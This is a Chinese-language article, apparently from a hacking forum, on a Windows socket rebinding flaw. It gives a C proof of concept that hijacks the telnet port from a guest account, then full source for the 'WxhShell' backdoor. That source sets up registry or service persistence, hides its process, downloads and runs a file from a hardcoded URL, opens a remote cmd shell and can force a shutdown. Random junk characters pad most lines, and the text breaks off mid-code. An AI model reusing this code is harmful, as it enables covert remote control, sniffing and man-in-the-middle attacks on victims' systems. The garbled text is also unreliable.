在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zT6nC5E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-2[4 @ !DSm[Z1 saddr.sin_family = AF_INET;
82EvlmD D QxuV1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1Hr1Ir<KR 7rRI-wZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i \/'w] 1_f+!
ns# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Udtz zka k,=<G, 这意味着什么?意味着可以进行如下的攻击:
]N'%l]_$ m3pDFI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W3>9GY90R ]jVE 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xl,%
Z~[ 2P8wvNDG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w5PscEc oNPvks dC; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P)f8lU^z g&F$hm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y
?n4#J< d
([~o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
yc3/5]E& &}P#<"Fo8Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
vw3[(_MV3_ PpG;5 #include
uyk;]EYjHZ #include
d;gs1]E50 #include
|J:r]);@K #include
#CI0G DWORD WINAPI ClientThread(LPVOID lpParam);
X,3\c: int main()
FA{Q6fi:2 {
$3p 48`.\ WORD wVersionRequested;
9^n0<(99b DWORD ret;
>]ux3F3\ WSADATA wsaData;
F>#F@j^c BOOL val;
^VMCs/g6 SOCKADDR_IN saddr;
j][&o-Ev SOCKADDR_IN scaddr;
TS+jDs int err;
o jxK8_kl SOCKET s;
WLj]EsA. SOCKET sc;
[@VzpVhXz int caddsize;
>%92,hg HANDLE mt;
H^S<bZ DWORD tid;
_wb]tE ~g wVersionRequested = MAKEWORD( 2, 2 );
l\V1c90m err = WSAStartup( wVersionRequested, &wsaData );
`|AH3v1 if ( err != 0 ) {
tR<#CCtRp' printf("error!WSAStartup failed!\n");
."BXA8c;A return -1;
;4b=/1M' }
Yq|_6zbYf saddr.sin_family = AF_INET;
S{&%tj~U
hO.b?>3NL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
L7(FDv,? \7qj hA@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
t(roj@!x_o saddr.sin_port = htons(23);
e
}C,) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:nb|WgEc {
(Ytr&gh;0 printf("error!socket failed!\n");
Et}%)M return -1;
d{NMG)`x\ }
J>T98y/)) val = TRUE;
JS m7-p|E //SO_REUSEADDR选项就是可以实现端口重绑定的
0H4|}+e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)Z/w|5< {
P
nE7} printf("error!setsockopt failed!\n");
Tb2#y]27 return -1;
wt9f2 }
sj/k';#g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Jv3G\9_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Gchs$^1`t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1U/9=b
qP;1LAX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"wZvr}xk {
4FYV]p8f ret=GetLastError();
L#a!fd printf("error!bind failed!\n");
)O+Zbn return -1;
R8lja%+0$ }
ZoJqJWsd listen(s,2);
%$ o[,13= while(1)
-:=m-3*Tg {
)_j(NX-C: caddsize = sizeof(scaddr);
7z3tDE[# //接受连接请求
fCY??su*
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sDg1nKw( if(sc!=INVALID_SOCKET)
3p HI+a {
WO%pX+PoH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
d\3 %5Y if(mt==NULL)
1QmOUw}yj {
2Uf/' printf("Thread Creat Failed!\n");
G/3T0d+- break;
!a\v)R }
zTMLE~w }
T&6>Eb0{ CloseHandle(mt);
.Y7Kd+)s)L }
X0j> g^b8 closesocket(s);
W(ryL_#; WSACleanup();
fNx!'{o" return 0;
~V ?z!3r-) }
@ls/3`E/5E DWORD WINAPI ClientThread(LPVOID lpParam)
fATVAv {
nJv=kk1|o SOCKET ss = (SOCKET)lpParam;
T<Y*();Zo SOCKET sc;
2<8l&2}7] unsigned char buf[4096];
Sw>>]UjU SOCKADDR_IN saddr;
rt*>)GI]b long num;
ipGxi[Vav DWORD val;
(?(gz#- DWORD ret;
ZZHQ?p- //如果是隐藏端口应用的话,可以在此处加一些判断
v\G7V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0wTOdCvmb saddr.sin_family = AF_INET;
G!C }ULq saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H-e$~vEbP saddr.sin_port = htons(23);
oKz!Xu%Hl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,']CqhL6=R {
$i<+O,@- printf("error!socket failed!\n");
Q{=r9&& return -1;
38X{>* }
<a_(qh@B val = 100;
"v0bdaQH3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,m0M:!hK {
"R)n1,0 ret = GetLastError();
=#Jx~d [C return -1;
1]0;2THx }
5Zhl@v,L% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KCZ<#ca^ {
P $y'`` ret = GetLastError();
q4!\^HwQ return -1;
&|'yqzS3 }
Mby4(M+&n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
uR2|> m {
qo\9,< printf("error!socket connect failed!\n");
eG2'W closesocket(sc);
s 8K.A~5 w closesocket(ss);
J_yXL7d return -1;
`w4'DB-R) }
vA6onYjA while(1)
()Wu_Q {
jFKp~`/# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(#85<|z //如果是嗅探内容的话,可以再此处进行内容分析和记录
6Xo "?f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1K|F;p num = recv(ss,buf,4096,0);
cotySio$ if(num>0)
ppLLX1S send(sc,buf,num,0);
wmR~e else if(num==0)
^ @=4HtA break;
lqrI*@>Tz num = recv(sc,buf,4096,0);
RSB+Saf.8 if(num>0)
bxO/FrwTj{ send(ss,buf,num,0);
<?DI!~ else if(num==0)
0cfGI% break;
\AoqOC2u }
)J+OyR= closesocket(ss);
}#&[[}@th closesocket(sc);
T]/> c return 0 ;
#k d9} }
d5{=<j @}PX:*c >y#qn9rV1 ==========================================================
Z'5&N5hx s7:_!Nd@8 下边附上一个代码,,WXhSHELL
y>h9:q| "u$XEA ==========================================================
/D|q-`*K x}WP1YyT~ #include "stdafx.h"
;[P> 5f0g7w =- #include <stdio.h>
xbcmvJrG #include <string.h>
(5+g:mSfr #include <windows.h>
hHDLrr #include <winsock2.h>
bJ6C7-w:wa #include <winsvc.h>
>6WZSw/Hq #include <urlmon.h>
?D9iCP~~ hG<[F@d #pragma comment (lib, "Ws2_32.lib")
-nUK%a"(D #pragma comment (lib, "urlmon.lib")
k}}'fA CsT&}-C #define MAX_USER 100 // 最大客户端连接数
o F_rC[ #define BUF_SOCK 200 // sock buffer
D ZZRu8~ #define KEY_BUFF 255 // 输入 buffer
#^aa&*<D_ +mR^ I$9 #define REBOOT 0 // 重启
G*%U0OTi #define SHUTDOWN 1 // 关机
DYIp2-K hz<TjWXv' #define DEF_PORT 5000 // 监听端口
;P8%yf Tw*p^rU #define REG_LEN 16 // 注册表键长度
*$;Zk!sEF #define SVC_LEN 80 // NT服务名长度
a
^juZ {(Mmv[y // 从dll定义API
&~B8~U4% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ii/{xVMD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
K]yWpW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
",Mrdxn7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!5[SNr3^ /$\8?<Pc". // wxhshell配置信息
6;!)^b struct WSCFG {
#s>'IPc0 int ws_port; // 监听端口
jRDvVV/-wr char ws_passstr[REG_LEN]; // 口令
4!96k~d} int ws_autoins; // 安装标记, 1=yes 0=no
[,ulz4" char ws_regname[REG_LEN]; // 注册表键名
6r@>n_6LY char ws_svcname[REG_LEN]; // 服务名
/ <+`4n char ws_svcdisp[SVC_LEN]; // 服务显示名
cAVdH{$" char ws_svcdesc[SVC_LEN]; // 服务描述信息
z`Nss
o= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$II~tO int ws_downexe; // 下载执行标记, 1=yes 0=no
P&:[pPG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=^{MyR7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
DNqC*IvuzM Fe:
~M?] };
F)imeu (@^ySiU // default Wxhshell configuration
H;tE= struct WSCFG wscfg={DEF_PORT,
(w(k*b/ "xuhuanlingzhe",
AkO);4A;Jd 1,
:Zob"*T "Wxhshell",
9Nv?j=*$ "Wxhshell",
X$P(8'[9A "WxhShell Service",
[[N${ C "Wrsky Windows CmdShell Service",
|:2B )X "Please Input Your Password: ",
;qWSfCt/^ 1,
"VoufXM: "
http://www.wrsky.com/wxhshell.exe",
;g2UIb?{6 "Wxhshell.exe"
BE~-0g$W };
_]D
6m2R !
jDopE0L // 消息定义模块
0sme0"Sl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9pS:#hg char *msg_ws_prompt="\n\r? for help\n\r#>";
Sx0{]1J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@k'V`ZQF char *msg_ws_ext="\n\rExit.";
^f"|<r char *msg_ws_end="\n\rQuit.";
kG}F/GN? char *msg_ws_boot="\n\rReboot...";
Ux= B*m1@{ char *msg_ws_poff="\n\rShutdown...";
0mmHN`< char *msg_ws_down="\n\rSave to ";
gnxD'1_ alNn(0MG char *msg_ws_err="\n\rErr!";
_X=6M
gU char *msg_ws_ok="\n\rOK!";
E
GZiWBr 1:@ScHS char ExeFile[MAX_PATH];
ke<5]&x int nUser = 0;
Lh.-*H HANDLE handles[MAX_USER];
>@4AxV\ int OsIsNt;
9!Xp+< Cp>y<C" SERVICE_STATUS serviceStatus;
CW/L(RQ SERVICE_STATUS_HANDLE hServiceStatusHandle;
A9"!=/~ ^\J-LU|"B // 函数声明
GY0OVAW6'c int Install(void);
R2 J A(Hn int Uninstall(void);
1Qz@ int DownloadFile(char *sURL, SOCKET wsh);
G^dzE/: int Boot(int flag);
Z
d@B6R void HideProc(void);
[EZ=t k int GetOsVer(void);
hy$VG%b;# int Wxhshell(SOCKET wsl);
f4+wP/n& void TalkWithClient(void *cs);
m^TN6/]) int CmdShell(SOCKET sock);
pm:- E(3# int StartFromService(void);
aX|(%1r int StartWxhshell(LPSTR lpCmdLine);
(FgX9SV]p9 MpJ<. |h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q6>} VOID WINAPI NTServiceHandler( DWORD fdwControl );
}? c%L8\ =]pEvj9o // 数据结构和表定义
Z ZCm438 SERVICE_TABLE_ENTRY DispatchTable[] =
R1<$VR {
^~@3X[No {wscfg.ws_svcname, NTServiceMain},
;<GxonIV {NULL, NULL}
JV'aqnb.8\ };
YmjA!n Eelv i5 // 自我安装
@>J(1{m=Gy int Install(void)
3/]FT#l]i {
y"U)&1 c% char svExeFile[MAX_PATH];
CY[3%7fv HKEY key;
$4)L~g| strcpy(svExeFile,ExeFile);
r=AA
/n< hk
S:_e= // 如果是win9x系统,修改注册表设为自启动
UTN[!0[
if(!OsIsNt) {
0]=Bqyg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g)|vS>^~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k"/Rjd(; RegCloseKey(key);
9e
vQQN6D| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)N1iGJO) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v'^}zO RegCloseKey(key);
Sl<1Rme=w return 0;
AP1ZIc6 }
Z'}%Mkm`i} }
ozl!vf# kv }
+o"CMI else {
R(cg`8 .c__T{<)[ // 如果是NT以上系统,安装为系统服务
d\JBjT1g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S'NLj( if (schSCManager!=0)
p0]\QM l1 {
:)tsz; SC_HANDLE schService = CreateService
V
d]7v (
|GsMLY:0 schSCManager,
Wv;,@xTZ wscfg.ws_svcname,
?.lo[X<,* wscfg.ws_svcdisp,
DBLM0*B SERVICE_ALL_ACCESS,
zpeCT3Q5O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
d~h;|Bl[ SERVICE_AUTO_START,
pLV
%g#h SERVICE_ERROR_NORMAL,
gG}H5uN svExeFile,
M7 kWJ NULL,
a)Pr&9I NULL,
;Bzx}7A NULL,
SBDGms NULL,
FH$q,BI!R NULL
_G'A]O/BZD );
x#zj0vI-8 if (schService!=0)
A,=>
|&* {
1\Pjz
Lj CloseServiceHandle(schService);
i1m>|[@k CloseServiceHandle(schSCManager);
F[!%,-* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|JHNFs strcat(svExeFile,wscfg.ws_svcname);
,Oy$q~. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
EBz4k)@m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dga4|7-MY RegCloseKey(key);
) jvI Nb return 0;
re}PpXRC }
r)K5<[\r }
8"-=+w.CZ CloseServiceHandle(schSCManager);
~/z%yg }
~w|h;*Bj }
'gg<)Bd yG7H>LF?8 return 1;
^~7Mv^A }
:l1-s] fiD,HGx
i // 自我卸载
B$x@I\(M int Uninstall(void)
S_OtY]gF {
BT_XqO HKEY key;
*n7=m=%) HX}B#T if(!OsIsNt) {
/93z3o7D> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A*81}P_ RegDeleteValue(key,wscfg.ws_regname);
@o^$/AE? RegCloseKey(key);
n ]D io if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P3Lsfi. RegDeleteValue(key,wscfg.ws_regname);
CV\y60n RegCloseKey(key);
vTK8t:JQ~ return 0;
vf+z0df }
Hs:zfvD }
jX(${j< }
\)wch P_0 else {
vq+CW?*" (FaYagD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=s]2?m if (schSCManager!=0)
q1x[hv3
pP {
~9yKMUf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g}gGm[1SUo if (schService!=0)
vR2);ywX {
Dc$q0|N=z if(DeleteService(schService)!=0) {
5$HG#2"Kb# CloseServiceHandle(schService);
R9#ar{ CloseServiceHandle(schSCManager);
y %61xA`# return 0;
bu_@A^ys }
d,(q3 CloseServiceHandle(schService);
|uw48*t }
Fw{@RQf8 CloseServiceHandle(schSCManager);
V&vG.HAT }
V\{@c%xW }
fR'!p: ~ bn8maYUZ return 1;
fHEIys,{ }
z5(5\j] 2y!aXk\#C // 从指定url下载文件
^v cnDi int DownloadFile(char *sURL, SOCKET wsh)
GA[D@Wy {
h-;> v. HRESULT hr;
<jF&+[*iT char seps[]= "/";
S Z/yijf char *token;
bPP@ char *file;
ipp`9 9 char myURL[MAX_PATH];
,IqE<i!U char myFILE[MAX_PATH];
ly0L)L]\ &y=OZ
!M strcpy(myURL,sURL);
3%1wQXr0 token=strtok(myURL,seps);
A46q`l9B while(token!=NULL)
jdu6P+_8n {
vo\'ycPv file=token;
R.HvqO token=strtok(NULL,seps);
qCfEv4 }
z _\L@b R+(f~ j' GetCurrentDirectory(MAX_PATH,myFILE);
3ej237~F,L strcat(myFILE, "\\");
]GY8f3~|{ strcat(myFILE, file);
8Nyz{T[ send(wsh,myFILE,strlen(myFILE),0);
'iZwM>l\ send(wsh,"...",3,0);
R3lZ|rxv: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
JQ0Z%;" if(hr==S_OK)
LTo!DUi` return 0;
%%?}db1n else
0|tyKP|J return 1;
QK0]9 R=E4Sh }
WKlqm)m@ X=)L$Kd7 // 系统电源模块
*<:X3|3E int Boot(int flag)
(_@5V_U {
<ml?DXT HANDLE hToken;
N~CQh=< TOKEN_PRIVILEGES tkp;
|^UQVNJ )^s>2 1 if(OsIsNt) {
;7?oJH; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H,w8+vZ4\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wZ\93W-} tkp.PrivilegeCount = 1;
X;6;v] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1R~$m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6O6B8 if(flag==REBOOT) {
x,10o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&`n:AR` return 0;
z8}QXXa }
\9#f:8Q else {
+[uh);vD`G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1
Vt,5o5 return 0;
>h#juO" }
mkyYs[ }
EHn!ZrQgh else {
:6t73\O if(flag==REBOOT) {
h;+O96V4. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>TCit1yD return 0;
G`0{31us }
Tb?X KO, else {
XfVdYmii if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
UMd.=HC L return 0;
hN=kU9@knC }
S>(x x"Ia }
FO^6c M*3G return 1;
%pOz%v~ }
zzI,iEG 9M9Fif. // win9x进程隐藏模块
F#<:ZByjJ@ void HideProc(void)
2D"my]FnF {
`V V>AA5 M$ieM[_T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*'aJO}$ if ( hKernel != NULL )
+,)k@OI {
ll$mRC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uuFQTx)) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
WeH_1$n5 FreeLibrary(hKernel);
W[)HFh(# }
7ixG{yu kDmuj>D return;
vqf}(/.D }
$+44US [3-u7Fx! // 获取操作系统版本
.Er+*j;&w int GetOsVer(void)
1/:vFX {
6-"tQ,AZ OSVERSIONINFO winfo;
diM*jN# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
s-WZ3g GetVersionEx(&winfo);
jJ<&!= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'\8YH+%It return 1;
V(ww
F else
l6WEx
-d return 0;
DIQ30(MS }
DU"Gz!X]Jd 2RNee@!JJP // 客户端句柄模块
p2b~k[ int Wxhshell(SOCKET wsl)
<#M1I!R {
Y&=DjKoVh SOCKET wsh;
a9NuYYr,h struct sockaddr_in client;
^znUf4N1 DWORD myID;
jmq^98jB &glh >9:G while(nUser<MAX_USER)
!L9|iC:8 {
?OnL,y| int nSize=sizeof(client);
m)<+?Bv y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JP\jhkn if(wsh==INVALID_SOCKET) return 1;
dPpQCxf >T[Y>] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`fEzE\\!* if(handles[nUser]==0)
[|*7"Q( closesocket(wsh);
u?SwGXi~8 else
RY)x"\D nUser++;
,|\\C6s }
`g1?Q4h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BRu}"29 H'!OEZ return 0;
jMI30 }
p{GO-gE@ _UkBOJ:G$H // 关闭 socket
-b?M5P*: void CloseIt(SOCKET wsh)
(
EJ1g^|" {
;5\'PrE closesocket(wsh);
mGDc,C=5: nUser--;
Nes|4Z< ExitThread(0);
4pXY7+e2' }
/O.q4p R{A$|Ipaq // 客户端请求句柄
JleClB(2n/ void TalkWithClient(void *cs)
_IU5HT}2 {
=eW4?9Uq *zweZG8: SOCKET wsh=(SOCKET)cs;
K-Pcew^? char pwd[SVC_LEN];
1qn/*9W}= char cmd[KEY_BUFF];
R1Rk00Ow: char chr[1];
_/P;`@ int i,j;
F)eP55C6 V[WZ#u-p while (nUser < MAX_USER) {
Vtj*O'0 A~>B?Wijqg if(wscfg.ws_passstr) {
ak:f4dEd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b9?Vpu`? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5GJkvZtFY //ZeroMemory(pwd,KEY_BUFF);
='kCY}dkO i=0;
o(54 A[' while(i<SVC_LEN) {
n>Oze7hVY 1 <T| // 设置超时
%|JL=E}%| fd_set FdRead;
V :5aq.o! struct timeval TimeOut;
m$_l{|4z FD_ZERO(&FdRead);
*tpS6{4=#7 FD_SET(wsh,&FdRead);
A9ld9R TimeOut.tv_sec=8;
9{SzE /[ TimeOut.tv_usec=0;
1l^[%0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
t6-fG/Kc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
SufM~9Ll _[&.`jTFn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jb/C\2U4) pwd
=chr[0]; /\Xe'&
if(chr[0]==0xd || chr[0]==0xa) { fYZd:3VdC
pwd=0; !JDuVqW
break; #H~$^L
} QRl+7V
i++; d?YSVmG
} sLTQm*jL
dQp>z%L)
// 如果是非法用户,关闭 socket vzSjfv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bmt8yR2
} bY,dWNS:
UHfE.mTjM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oTb42a_j{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _N|AI"sj.
l>i:M#z&
while(1) { 8?<J,zu@AV
&dw=jHt
ZeroMemory(cmd,KEY_BUFF); c@]G;> o
D2o|.e<r
// 自动支持客户端 telnet标准 ^a3 (QKS
j=0; W95q1f#7
while(j<KEY_BUFF) { 7}c[GC)F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %O[1yZh
\
cmd[j]=chr[0]; (C`nBiL<
if(chr[0]==0xa || chr[0]==0xd) { %t9Kc9u3p
cmd[j]=0; +",`Mb
break; 16z
WmJH
} 9"B;o
j++; U~7{q
>
} z8D,[`
I)*J,hs1
// 下载文件 =:R${F
if(strstr(cmd,"http://")) { dYwEVu6q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9~K>c
if(DownloadFile(cmd,wsh)) U/v)6:j)4R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X9" T(`
else fD_3lbiL(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rniL+/-uU
} 8"ZcK xDk
else { v{1g`E
4>Q] \\Lc
switch(cmd[0]) { jt3W.^6HO
$'#}f?
// 帮助 :=q9ay
case '?': { @\-*aS_8>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l.}gWN9-
break; 0f+]I=1\
} xTcY&
// 安装
#^-'q`)
case 'i': {
~xPetkl@
if(Install()) Qd?S~3XT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fR2,NKM@
else \j
we
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5(Q-||J
break; FS?1O"_
} Skux&'N:
// 卸载 !([ v=O#
case 'r': { 2Qp]r+!
if(Uninstall()) m<MN.R7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\,4h2(
else 6is+\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rg%m
break; D[YdPg@-
} FY+@fy
// 显示 wxhshell 所在路径 ^:O*Sx.CA
case 'p': { 7
X~JLvN
char svExeFile[MAX_PATH]; W^H[rX}=
strcpy(svExeFile,"\n\r"); lKRp9isn^
strcat(svExeFile,ExeFile); @ <'a0)n>
send(wsh,svExeFile,strlen(svExeFile),0); zRau/1Y0
break; %uP/v\l
} TUp%Cx
// 重启 n2F*a
case 'b': { &(x>J:b
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); = j
l(Q
if(Boot(REBOOT)) 3`"k1W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]<fZW"W<q
else { un,W{*s8*
closesocket(wsh); R3BK\kf&
ExitThread(0); 1_n5:
} Z3Xgi~c
break; -fK_F6_\]
} $7Lcn9?G
// 关机 B,4GxoX`
case 'd': { FQMA0"(G$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o3OJI_
v&
if(Boot(SHUTDOWN)) "KY]2v.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bG)6p05Oa
else { <&t[E0mU
closesocket(wsh); SQw"mO
ExitThread(0); K~8!Gh{h]
} .d4&s7n0
break; ]b^bc2:
} `
-<S13
// 获取shell z`8>$9
case 's': { V F"c}
CmdShell(wsh); kf)s3I/`(
closesocket(wsh); <|a9r: [
ExitThread(0); 2l8z/o 7v
break; i}5+\t[Q
} 57U;\L;ZmZ
// 退出 C[JPohm
case 'x': { QVN@B[9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $)(Zt^
CloseIt(wsh); @Z~0!VY
break; Ti5"a<R4m6
} 1a},(ZcdX
// 离开 .noY[P8i
case 'q': { )q%DRLD'G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9Bu=8P?
closesocket(wsh); hN1{?PQ
WSACleanup(); j0e1CSE
exit(1); 6rAenK-%
break; xkz`is77Y@
} q +c~Bd
} Fw"x4w
} dC">AW
IBv9xP]BZ
// 提示信息 Sj4 @pMh4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e(-Vp7vXG
} 4f,%@s)zn
} 3],[6%w
2FTJxSC
return; $D#eD.
} )$FwB6^
rAQ3x0
// shell模块句柄 ^eqq|(<K
int CmdShell(SOCKET sock) RXbZaje$
{ fAeq(tI=
STARTUPINFO si; mz .uK2l{
ZeroMemory(&si,sizeof(si)); t*!Q9GC_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X]%n#\t,]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %|?PG i@5
PROCESS_INFORMATION ProcessInfo; x$V[xX
char cmdline[]="cmd"; /57)y_ \
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q?Mmkh)g
return 0; )G9,5[
} S
5nri(m
Q<Th*t
// 自身启动模式 Hh<}~s
int StartFromService(void) G]fx3=
{ knu>{a}
typedef struct q%}54E80
{ Z <tJ+
DWORD ExitStatus; V8J!8=2
DWORD PebBaseAddress; ,O"zz7
